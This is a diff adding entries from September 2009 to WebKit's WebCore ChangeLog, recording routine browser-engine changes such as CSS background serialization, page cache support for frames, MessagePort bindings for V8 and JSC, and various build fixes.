+        https://bugs.webkit.org/show_bug.cgi?id=25489
+        CSS property background-position is now serialized in shorthand string as
+        background-position-x background-position-y, as the specification requires
+        (See http://www.w3.org/TR/2008/WD-css3-background-20080910/#the-background-position).
+        
+
+        https://bugs.webkit.org/show_bug.cgi?id=26541
+        CSS background-color is now be serialized before other background properties, 
+        as CSS specification requires (See http://dev.w3.org/csswg/cssom/#css-value).  
+
+        An existing layout test that accepted wrong order and skipped position test 
+        had to be modified.
+
+        * css/CSSMutableStyleDeclaration.cpp:
+        (WebCore::CSSMutableStyleDeclaration::getPropertyValue):
+
+2009-09-03  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add support for HTMLTextAreaElement.textLength
+        https://bugs.webkit.org/show_bug.cgi?id=28929
+
+        Test: fast/forms/textarea-textlength.html
+
+        * html/HTMLTextAreaElement.h:
+        (WebCore::HTMLTextAreaElement::textLength):
+        * html/HTMLTextAreaElement.idl:
+
+2009-09-03  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7180197>, https://bugs.webkit.org/show_bug.cgi?id=28822
+        REGRESSION(r31231): Creating document with current document's DOCTYPE causes crashes
+
+        Test: fast/dom/DOMImplementation/createDocument-with-used-doctype.html
+
+        * dom/DOMImplementation.cpp: (WebCore::DOMImplementation::createDocument): Even though we
+        cannot raise an exception immediately out of fear of breaking Acid3, we shouldn't use a
+        DocumentType node in two documents.
+
+2009-09-03  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Page Cache should support pages with Frames.
+        https://bugs.webkit.org/show_bug.cgi?id=13631
+
+        Tests: fast/events/pageshow-pagehide-on-back-cached-with-frames.html
+               fast/loader/frames-with-unload-handlers-in-page-cache.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::logCanCacheFrameDecision):
+
+2009-09-03  Steve VanDeBogart  <vandebo@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Handle middle click in Chromium like QT
+        https://bugs.webkit.org/show_bug.cgi?id=28696
+
+        Tested by middle-click-onpaste.html.
+
+        * platform/Pasteboard.h:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::getData):
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::Pasteboard):
+        (WebCore::Pasteboard::isSelectionMode):
+        (WebCore::Pasteboard::setSelectionMode):
+        (WebCore::Pasteboard::canSmartReplace):
+        (WebCore::Pasteboard::plainText):
+        (WebCore::Pasteboard::documentFragment):
+        * platform/chromium/PasteboardPrivate.h:
+        (WebCore::PasteboardPrivate::):
+
+2009-09-03  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        More partial work towards "Page Cache should support pages with Frames"
+        https://bugs.webkit.org/show_bug.cgi?id=13631
+
+        Fix a bug where subframes weren't asked if they were cacheable.
+
+        No new tests, especially since page caching for frames isn't turned on yet.
+        A layout test will come in my next patch, which enables frames in the page cache.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+
+2009-09-03  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by eric@webkit.org.
+
+        https://bugs.webkit.org/show_bug.cgi?id=24696
+
+        Added mixed content methods to FrameLoaderClient.
+
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::didDisplayInsecureContent):
+        (WebCore::EmptyFrameLoaderClient::didRunInsecureContent):
+        * loader/FrameLoaderClient.h:
+
+2009-09-03  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Frames support
+        https://bugs.webkit.org/show_bug.cgi?id=19041
+
+        * page/wx/EventHandlerWx.cpp:
+        (WebCore::EventHandler::passMousePressEventToSubframe):
+        (WebCore::EventHandler::passMouseMoveEventToSubframe):
+        (WebCore::EventHandler::passMouseReleaseEventToSubframe):
+        (WebCore::EventHandler::passWheelEventToWidget):
+        (WebCore::EventHandler::tabsToAllControls):
+        (WebCore::EventHandler::passSubframeEventToSubframe):
+        (WebCore::EventHandler::passMouseDownEventToWidget):
+        * platform/wx/RenderThemeWx.cpp:
+        (WebCore::nativeWindowForRenderObject):
+        (WebCore::RenderThemeWx::paintButton):
+        (WebCore::RenderThemeWx::paintTextField):
+        (WebCore::RenderThemeWx::paintMenuList):
+        (WebCore::RenderThemeWx::paintMenuListButton):
+        * platform/wx/ScrollbarThemeWx.cpp: Added.
+        (WebCore::ScrollbarTheme::nativeTheme):
+        (WebCore::ScrollbarThemeWx::~ScrollbarThemeWx):
+        (WebCore::ScrollbarThemeWx::scrollbarThickness):
+        (WebCore::ScrollbarThemeWx::hasThumb):
+        (WebCore::ScrollbarThemeWx::buttonSize):
+        (WebCore::ScrollbarThemeWx::backButtonRect):
+        (WebCore::ScrollbarThemeWx::forwardButtonRect):
+        (WebCore::ScrollbarThemeWx::trackRect):
+        (WebCore::ScrollbarThemeWx::paintScrollCorner):
+        (WebCore::ScrollbarThemeWx::paint):
+        * platform/wx/ScrollbarThemeWx.h: Added.
+        (WebCore::ScrollbarThemeWx::hasButtons):
+        * platform/wx/TemporaryLinkStubs.cpp:
+        * platform/wx/wxcode/gtk/scrollbar_render.cpp: Added.
+        (wxStyleForPart):
+        (GetButtonWidget):
+        (wxGetGdkWindowForDC):
+        (wxRenderer_DrawScrollbar):
+        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp: Added.
+        (wxScrollbarPartToHIPressedState):
+        (wxRenderer_DrawScrollbar):
+        * platform/wx/wxcode/scrollbar_render.h: Added.
+        (calcThumbStartAndLength):
+        * platform/wx/wxcode/win/non-kerned-drawing.cpp:
+        (WebCore::drawTextWithSpacing):
+        * platform/wx/wxcode/win/scrollbar_render.cpp: Added.
+        (GraphicsHDC::GraphicsHDC):
+        (GraphicsHDC::~GraphicsHDC):
+        (GraphicsHDC::operator HDC):
+        (getTSStateForPart):
+        (wxRenderer_DrawScrollbar):
+        * webcore-wx.bkl:
+
+2009-09-03  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Page content is not displayed in case of HTTP status error
+        https://bugs.webkit.org/show_bug.cgi?id=28949
+
+        If the server sent content, show it to the user instead of an error,
+        even if the HTTP status code is not success.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
+        (WebCore::QNetworkReplyHandler::finish):
+        (WebCore::QNetworkReplyHandler::forwardData):
+        (WebCore::QNetworkReplyHandler::resetState):
+        * platform/network/qt/QNetworkReplyHandler.h:
+
+2009-09-03  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Need to update v8 bindings to support passing multiple ports to postMessage()
+        https://bugs.webkit.org/show_bug.cgi?id=28839
+
+        Added support for passing MessagePortArray to v8 bindings.
+
+        New tests that now pass with V8:
+               fast/events/message-port-multi.html
+               fast/workers/worker-context-multi-port.html
+               fast/workers/worker-multi-port.html
+
+        * WebCore.gypi:
+        Added V8MessageEventCustom.cpp and V8MessagePortCustom.h
+        * bindings/v8/custom/V8CustomBinding.h:
+        Added custom postMessage() handlers for various classes.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::DOMWindowPostMessage):
+        Added custom handler that supports MessagePortArray.
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        (WebCore::DedicatedWorkerContextPostMessage):
+        Added custom handler that supports MessagePortArray.
+        * bindings/v8/custom/V8MessageEventCustom.cpp: Added.
+        (WebCore::MessageEventPorts):
+        Added getter for ports attribute.
+        (WebCore::MessageEventInitMessageEvent):
+        Added custom handler that supports MessagePortArray.
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::MessagePortPostMessage):
+        Added custom handler that supports MessagePortArray.
+        (WebCore::getMessagePortArray):
+        Added helper function that supports converting from a sequence-like object to a MessagePortArray.
+        * bindings/v8/custom/V8MessagePortCustom.h: Added.
+        Added declaration for getMessagePortArray().
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::WorkerPostMessage):
+        Added custom handler that supports MessagePortArray.
+
+2009-09-03  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Sam Weinig.
+
+        Need to update JS bindings and IDL files to support multiple message ports in postMessage()
+        https://bugs.webkit.org/show_bug.cgi?id=28460
+
+        Added new toJSSequence() API which validates that a JSValue meets the WebIDL criteria for a sequence.
+
+        Tests: fast/events/message-port-multi.html
+               fast/workers/worker-context-multi-port.html
+               fast/workers/worker-multi-port.html
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        Added JSMessagePortCustom.h and JSMessageEventCustom.cpp.
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::toJSSequence):
+        Added toJSSequence() API to do validation on sequence-like objects per WebIDL.
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::postMessage):
+        Added custom handler for postMessage() that handles being passed MessagePortArrays.
+        * bindings/js/JSDedicatedWorkerContextCustom.cpp:
+        (WebCore::JSDedicatedWorkerContext::postMessage):
+        Added custom handler for postMessage() that handles being passed MessagePortArrays.
+        * bindings/js/JSMessageEventCustom.cpp: Added.
+        (WebCore::JSMessageEvent::ports):
+        Added custom ports() getter that converts from MessagePortArray to JSArray.
+        (WebCore::JSMessageEvent::initMessageEvent):
+        Added support for passing a MessagePortArray.
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::postMessage):
+        Added custom handler for postMessage() that handles being passed MessagePortArray.
+        (WebCore::fillMessagePortArray):
+        New helper routine that validates/converts from a JS sequence o a WebCore::MessagePortArray.
+        * bindings/js/JSMessagePortCustom.h: Added.
+        * bindings/js/JSWorkerCustom.cpp:
+        (WebCore::JSWorker::postMessage):
+        Added custom handler for postMessage() that handles being passed MessagePortArray.
+        * dom/MessageEvent.cpp:
+        * dom/MessageEvent.h:
+        (WebCore::MessageEvent::ports):
+        Changed ports() to return a MessagePortArray* since this value can be null.
+        * dom/MessageEvent.idl:
+        Updated IDL to match HTML5 spec (now accepts MessagePortArrays instead of a solitary MessagePort).
+        * dom/MessagePort.cpp:
+        * dom/MessagePort.h:
+        * dom/MessagePort.idl:
+        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
+        * workers/DedicatedWorkerContext.cpp:
+        * workers/DedicatedWorkerContext.h:
+        * workers/DedicatedWorkerContext.idl:
+        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
+        * workers/Worker.cpp:
+        * workers/Worker.h:
+        * workers/Worker.idl:
+        Updated IDL to match HTML5 spec (postMessage() now accepts MessagePortArrays instead of a solitary MessagePort).
+
+2009-09-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Do not query non-function call frames for function name.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28799
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.CallFrameProxy):
+        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain):
+
+2009-09-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Crash after typing "clear" and pressing return in inspector console.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28684
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._clearConsoleMessages):
+        (InjectedScript._inspectObject):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+
+2009-09-03  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Squeezed out some performance from string conversion.
+        https://bugs.webkit.org/show_bug.cgi?id=28945
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::WebCoreStringResource::WebCoreStringResource):
+        (WebCore::WebCoreStringResource::~WebCoreStringResource):
+        (WebCore::WebCoreStringResource::data):
+        (WebCore::WebCoreStringResource::length):
+        (WebCore::WebCoreStringResource::atomicString):
+        (WebCore::WebCoreStringResource::string):
+        Avoid calling virtual length method. Be more explicit with
+        external memory computation. Avoid function calls in data and
+        length.
+        (WebCore::):
+        (WebCore::v8StringToWebCoreString):
+        (WebCore::v8StringToAtomicWebCoreString):
+        (WebCore::v8NonStringValueToWebCoreString):
+        (WebCore::v8NonStringValueToAtomicWebCoreString):
+        Avoid extra calls of WebCoreStringResource::toString. When
+        AtomicString is computed pass it immediately when constructing
+        WebCoreStringResource. Use inline buffer for small strings.
+        * bindings/v8/V8Binding.h:
+        (WebCore::v8ValueToWebCoreString):
+        (WebCore::v8ValueToAtomicWebCoreString):
+        (WebCore::toString):
+        Inline dispatch of string vs. non-string values.
+
+2009-09-03  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Inlined common case of V8IsolatedWorld::getEntered to speed
+        up V8Proxy lookup.
+        https://bugs.webkit.org/show_bug.cgi?id=28946
+
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::getEnteredImpl):
+        * bindings/v8/V8IsolatedWorld.h:
+        (WebCore::V8IsolatedWorld::getEntered):
+
+2009-09-03  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix a regression bug that maxLength doesn't work for IME input.
+        https://bugs.webkit.org/show_bug.cgi?id=25253
+
+        Tests: fast/forms/input-maxlength-ime-completed.html
+               fast/forms/input-maxlength-ime-preedit.html
+
+        * dom/InputElement.cpp:
+        (WebCore::InputElement::handleBeforeTextInsertedEvent):
+        * dom/InputElement.h:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::defaultEventHandler):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::defaultEventHandler):
+
+2009-09-03  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        Make SVGStyleElement title/media/type setters do something
+        https://bugs.webkit.org/show_bug.cgi?id=28828
+
+        Test: svg/dom/style-reflect.html
+
+        * svg/SVGStyleElement.cpp:
+        (WebCore::SVGStyleElement::setXmlspace): Actually change the attribute.
+        (WebCore::SVGStyleElement::setType): Ditto.
+        (WebCore::SVGStyleElement::setMedia): Ditto.
+        (WebCore::SVGStyleElement::setTitle): Ditto.
+
+2009-09-03  Ben Murdoch  <benm@google.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=28872
+        
+        Fixes a bug where handleEvent() in the V8 Custom SQL Statement Error binding would not return the correct result to WebCore after invoking the callback.
+
+        Test: storage/statement-error-callback.html
+
+        * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
+        (WebCore::V8CustomSQLStatementErrorCallback::handleEvent): Return true from handleEvent() if the callback raised an exception or the callback itself returned true.
+
+2009-09-03  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding three font-specific files to WebCore:
+        FontCustomPlatformData.cpp, FontCustomPlatformData.h,
+        and FontPlatformData.h
+        https://bugs.webkit.org/show_bug.cgi?id=28131
+
+        * platform/graphics/haiku/FontCustomPlatformData.cpp: Added.
+        (WebCore::FontCustomPlatformData::~FontCustomPlatformData):
+        (WebCore::FontCustomPlatformData::fontPlatformData):
+        (WebCore::createFontCustomPlatformData):
+        * platform/graphics/haiku/FontCustomPlatformData.h: Added.
+        (WebCore::FontCustomPlatformData::FontCustomPlatformData):
+        * platform/graphics/haiku/FontPlatformData.h: Added.
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::font):
+        (WebCore::FontPlatformData::size):
+        (WebCore::FontPlatformData::bold):
+        (WebCore::FontPlatformData::oblique):
+        (WebCore::FontPlatformData::hashTableDeletedFontValue):
+
+2009-09-02  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        More partial work towards "Page Cache should support pages with Frames"
+        https://bugs.webkit.org/show_bug.cgi?id=13631
+
+        No new tests. (No change in behavior, current tests pass).
+
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::stopLoading): Adopt the new enum form for FrameLoader::stopLoading().
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopLoading): Take an enum to decide whether to dispatch no unload events,
+          only unload, or unload and pagehide.
+        (WebCore::FrameLoader::closeURL):
+        (WebCore::FrameLoader::scheduleRedirection):
+        (WebCore::FrameLoader::cachePageForHistoryItem): Call pageHidden().
+        (WebCore::FrameLoader::pageHidden): Add to dispatch the pagehide event to all frames in the case
+          where a page is added to the PageCache.
+        * loader/FrameLoader.h:
+
+        * loader/FrameLoaderTypes.h: Add an UnloadEventPolicy enum.
+
+2009-09-02  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        More partial work towards "Page Cache should support pages with Frames"
+        https://bugs.webkit.org/show_bug.cgi?id=13631
+
+        - More CachedFrame destruction work.
+        - Including related Frame and FrameLoader changes and cleanup.
+
+        No new tests. (No change in behavior, current tests pass).
+
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrameBase::restore): Rebuild up the whole FrameTree when restoring.
+        (WebCore::CachedFrame::CachedFrame): Tear down the entire FrameTree when caching.
+        (WebCore::CachedFrame::destroy): For child frames that are being destroyed while in
+          the PageCache, do lightweight cleanup to:
+          A - Prevent referring to a stale Page object.
+          B - Prevent World Leaks of WebKit objects.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopAllLoaders): stopAllLoaders() should never be called on Frames that are
+          in the PageCache. ASSERT that fact.
+        (WebCore::FrameLoader::open): Remove a bogus release-build workaround, as the comment right above it
+          explains it is not effective, and it'd be better to see the crash locally instead of downstream.
+        (WebCore::FrameLoader::closeAndRemoveChild): Make sure the owner element has a page pointer before
+          referencing it.
+        (WebCore::FrameLoader::detachFromParent): Use the new detachViewsAndDocumentLoader() call
+        (WebCore::FrameLoader::detachViewsAndDocumentLoader): Does lightweight cleanup of client (WebKit) objects.
+        * loader/FrameLoader.h:
+
+        * page/Frame.cpp:
+        (WebCore::Frame::detachFromPage): Simply clear the Page pointer without doing any other work.
+        (WebCore::Frame::pageDestroyed): Use the new detachFromPage().
+        * page/Frame.h:
+
+2009-09-02  Jungshik Shin  <jshin@chromium.org>
+
+        Reviewed by Dimitri Glazkov
+
+        [Chromium] Add 'icu::' qualifier in preparation for ICU upgrade to 4.2
+        in Chromium. This is to fix a new file added in r28742 since the
+        last patch for this issue.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28410
+
+        No change in the test result.
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::TextRunWalker::getNormalizedTextRun):
+
+2009-09-02  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Correct a typo to fix bustage, caused by r47991.
+        https://bugs.webkit.org/show_bug.cgi?id=27933
+
+        * platform/graphics/skia/ImageBufferSkia.cpp: Changed "Unpremultipled" to "Unmultiplied".
+
+2009-09-02  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Add a missing include to fix bustage, caused by r47991.
+        https://bugs.webkit.org/show_bug.cgi?id=27933
+
+        * platform/graphics/skia/ImageBufferSkia.cpp: Added SkColorPriv include.
+
+2009-09-02  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Chromium] Implement file support for DragData.
+        https://bugs.webkit.org/show_bug.cgi?id=28896
+
+        * platform/chromium/DragDataChromium.cpp:
+        (WebCore::DragData::containsURL):
+        (WebCore::DragData::asURL):
+        (WebCore::DragData::containsCompatibleContent):
+
+2009-09-02  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        Protect libcurl shared data with Mutex objects via curl_set_share_opt.
+        https://bugs.webkit.org/show_bug.cgi?id=28920
+
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::sharedResourceMutex):
+        (WebCore::curl_lock_callback):
+        (WebCore::curl_unlock_callback):
+        (WebCore::ResourceHandleManager::ResourceHandleManager):
+
+2009-09-02  Evan Stade  <estade@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Expose functions to change the focus ring color for Linux Chromium
+
+        https://bugs.webkit.org/show_bug.cgi?id=28887
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
+        (WebCore::RenderThemeChromiumLinux::setFocusRingColor):
+        (WebCore::RenderThemeChromiumLinux::platformFocusRingColor):
+        * rendering/RenderThemeChromiumLinux.h:
+
+2009-09-02  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        SVG Filter premultiplied color support for getImageDate/putImageData
+        [https://bugs.webkit.org/show_bug.cgi?id=27933]
+
+        Patch to get premultiplied color support for Skia on getImageDate/putImageData.
+
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::getImageData):
+        (WebCore::putImageData):
+
+2009-09-02  Brady Eidson  <beidson@apple.com>
+
+        Forget to rename openInFrameloader() to open(), which was requested in Darin's review of my last patch.
+
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrameBase::restore):
+        (WebCore::CachedFrame::open):
+        * history/CachedFrame.h:
+        * history/CachedPage.cpp:
+        (WebCore::CachedPage::restore):
+
+2009-09-02  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        In http://trac.webkit.org/changeset/47943 I added new header dependencies to FrameLoader.h.
+        Removing them is a little trouble, but worth it going forward.
+        The pattern of creating a "CachedFrameBase" as the interface CachedFrame provides to FrameLoader
+        was suggested by Darin Adler.
+
+        No new tests. (No change in behavior)
+
+        Make CachedFrame inherit privately from CachedFrameBase, which becomes the interface FrameLoader uses:
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrameBase::CachedFrameBase):
+        (WebCore::CachedFrameBase::~CachedFrameBase):
+        (WebCore::CachedFrameBase::restore):
+        (WebCore::CachedFrame::CachedFrame):
+        (WebCore::CachedFrame::openInFrameLoader):
+        * history/CachedFrame.h:
+        (WebCore::CachedFrameBase::document):
+        (WebCore::CachedFrameBase::view):
+        (WebCore::CachedFrameBase::domWindow):
+        (WebCore::CachedFrame::create):
+        (WebCore::CachedFrame::documentLoader):
+        (WebCore::CachedFrame::mousePressNode):
+
+        Call the new ::openInFrameLoader() method on the CachedFrame, as CachedFrameBase is now the only
+        thing capable of interacting with FrameLoader::open(CachedFrameBase):
+        * history/CachedPage.cpp:
+        (WebCore::CachedPage::restore):
+        * history/CachedPage.h:
+        (WebCore::CachedPage::documentLoader):
+
+        Make ::open(CachedFrame) public, and change it to ::open(CachedFrameBase):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::open):
+        * loader/FrameLoader.h:
+
+2009-09-02  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Cannot pres Enter to escape from bulleted list when <ul> is a child of <li>.
+        https://bugs.webkit.org/show_bug.cgi?id=24866
+
+        This patch modifies breakOutOfEmptyListItem to break out of a properly nested list
+        (a list to break out of is inside another list item).
+
+        When the empty list item appears at the end of another list item, WebKit breaks out of
+        the outer list item, and adds new item below the outer list item.
+        Otherwise, WebKit breaks out of the the inner list item and inserts new paragraph.
+
+        Test: editing/execCommand/break-out-of-empty-list-item.html
+
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::breakOutOfEmptyListItem):
+
+2009-09-02  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        More partial work towards "Page Cache should support pages with Frames"
+        https://bugs.webkit.org/show_bug.cgi?id=13631
+
+        This patch is primarily about the "CachedFrame tree" and making slightly different decisions
+        based on whether a CachedFrame is the main frame or a subframe.
+
+        - Store whether a CachedFrame represents the main frame or a subframe.
+        - "Chop off the frame tree" for the main frame when creating its CachedFrame, as main frames 
+          are reused and need to start new page loads with an empty frame tree.
+        - Reattach the frame tree to the main frame when restoring it.
+        - open() the cached subframes in their respective loaders when restoring.
+        - Properly clear() and destroy() cached subframes.
+        - When committing to a new page load, and after caching the previous page, only clear the
+          FrameView for the main frame.
+
+        Note that all of above will eventually be necessary as I continue to land this work in pieces,
+        but doesn't actually change any behavior right now because we still refuse to even *try* to
+        cache pages with frames.
+
+        No new tests. No change in behavior, and current tests continue to pass.
+
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrame::CachedFrame):
+        (WebCore::CachedFrame::restore):
+        (WebCore::CachedFrame::clear):
+        (WebCore::CachedFrame::destroy):
+        * history/CachedFrame.h:
+        (WebCore::CachedFrame::isMainFrame):
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::clear):
+        (WebCore::FrameLoader::open):
+        * loader/FrameLoader.h:
+
+2009-09-02  Brady Eidson  <beidson@apple.com>
+
+        No review, build fix.
+
+        http://trac.webkit.org/changeset/47976 broke the build.  
+        Let's try compiling before we land things, shall we?
+
+        * platform/graphics/SimpleFontData.cpp:
+        (WebCore::SimpleFontData::SimpleFontData): Order the initialization list correctly.
+
+2009-09-02  Kevin Ollivier  <kevino@theolliviers.com>
+
+        waf build fixes for Windows/MSVC.
+
+        * wscript:
+
+2009-09-02  Ben Murdoch  <benm@google.com>
+
+        Unreviewed build fix for Chromium.
+
+        Missed #including V8Proxy.h in WebCore/bindings/v8/V8Binding.cpp.
+
+        * bindings/v8/V8Binding.cpp: add V8Proxy.h as an include
+
+2009-09-02  Kevin Ollivier  <kevino@theolliviers.com>
+
+        waf build fix, don't define symbols we now grab from other sources.
+
+        * platform/wx/TemporaryLinkStubs.cpp:
+
+2009-09-02  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Build fixes for PluginViewNone.cpp and a wx build fix for PluginView.cpp.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::stop):
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::platformDestroy):
+
+2009-09-02  Charles Wei  <charles.wei@torchmobile.com.cn>
+
+        Reviewed by Eric Seidel.
+
+        Fix the build failure of WebKit for Linux/Qt when WML is enabled
+
+        No test cases needed since this just fixes the build problem.
+
+        * wml/WMLElement.cpp:
+        (WebCore::WMLElement::create):
+        * wml/WMLTableElement.cpp:
+        (WebCore::WMLTableElement::joinSuperflousColumns):
+        (WebCore::WMLTableElement::padWithEmptyColumns):
+
+2009-09-02 Yong Li <yong.li@torchmobile.com>
+
+        Reviewed by Adam Barth.
+
+        WINCE PORT: use shared buffer for custom font data
+        https://bugs.webkit.org/show_bug.cgi?id=27734
+
+        Refactored by Joe Mason <joe.mason@torchmobile.com>
+
+        * loader/CachedFont.cpp:
+        add WINCE to platforms using cached custom data
+        * platform/graphics/opentype/OpenTypeUtilities.cpp:
+        (WebCore::renameFont): implement for WinCE
+        * platform/graphics/opentype/OpenTypeUtilities.h:
+        build fixes
+        * platform/graphics/wince/FontCustomPlatformData.cpp:
+        (WebCore::setCustomFontCache): add accessor
+        (WebCore::createFontCustomPlatformData): change param to SharedBuffer
+        * platform/graphics/wince/FontCustomPlatformData.h:
+        update function signatures 
+ 
+2009-09-02 Yong Li <yong.li@torchmobile.com>
+
+        Reviewed by Adam Barth.
+
+        WINCE PORT: font-related build fixes and minor bugfixes
+        https://bugs.webkit.org/show_bug.cgi?id=27734
+
+        * platform/graphics/FontCache.h: declare functions added in https://bugs.webkit.org/show_bug.cgi?id=27509
+        * platform/graphics/GlyphPageTreeNode.cpp:
+        (WebCore::GlyphPageTreeNode::initializePage): fix ambiguous overload error in min/max on Windows
+        * platform/graphics/SimpleFontData.cpp:
+        (WebCore::SimpleFontData::SimpleFontData): initialize member vars
+        * platform/graphics/SimpleFontData.h: disable unused members on Wince to save space 
+
+2009-09-02  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Another pass at releasing the storage mutex.
+        https://bugs.webkit.org/show_bug.cgi?id=28904
+
+        Another pass at releasing the storage mutex (when applicable) when we finish
+        executing JavaScript.  http://dev.w3.org/html5/spec/Overview.html#storage-mutex
+        describes the required behavior.
+
+        As it turns out, https://bugs.webkit.org/show_bug.cgi?id=28789 didn't solve
+        the problem correctly.  First of all, I missed that events and timeouts go
+        through a different call path.  Second of all, I didn't consider recursion
+        correctly.  Third of all, my check to see if LocalStorage is alive actually
+        instantiates it if it isn't yet.  Fourth, I forgot DOM_STORAGE guards around
+        it.  So I'm reverting that change completely and doing it more cleanly.
+        Unfortunately, the solution isn't as portable (and thus I've left out the JSC
+        implementation for now).
+
+        NOTE: This change now tracks recursion on function callbacks in V8.  I ran this
+        by Mads Ager and Mike Belshe and they seemed to think adding the checks were
+        fine.  Most callbacks are asynchronous and thus wouldn't be nested.  The few
+        scenareos where you can have nested callbacks probably should have always been
+        protected by a recursion guard.
+
+        Unfortunately, this can't be tested without a hook added to the layout test
+        controllers since the lock is (by design) not supposed to be observable by
+        JavaScript.  https://bugs.webkit.org/show_bug.cgi?id=28906
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate): revert
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate): revert
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::runScript):
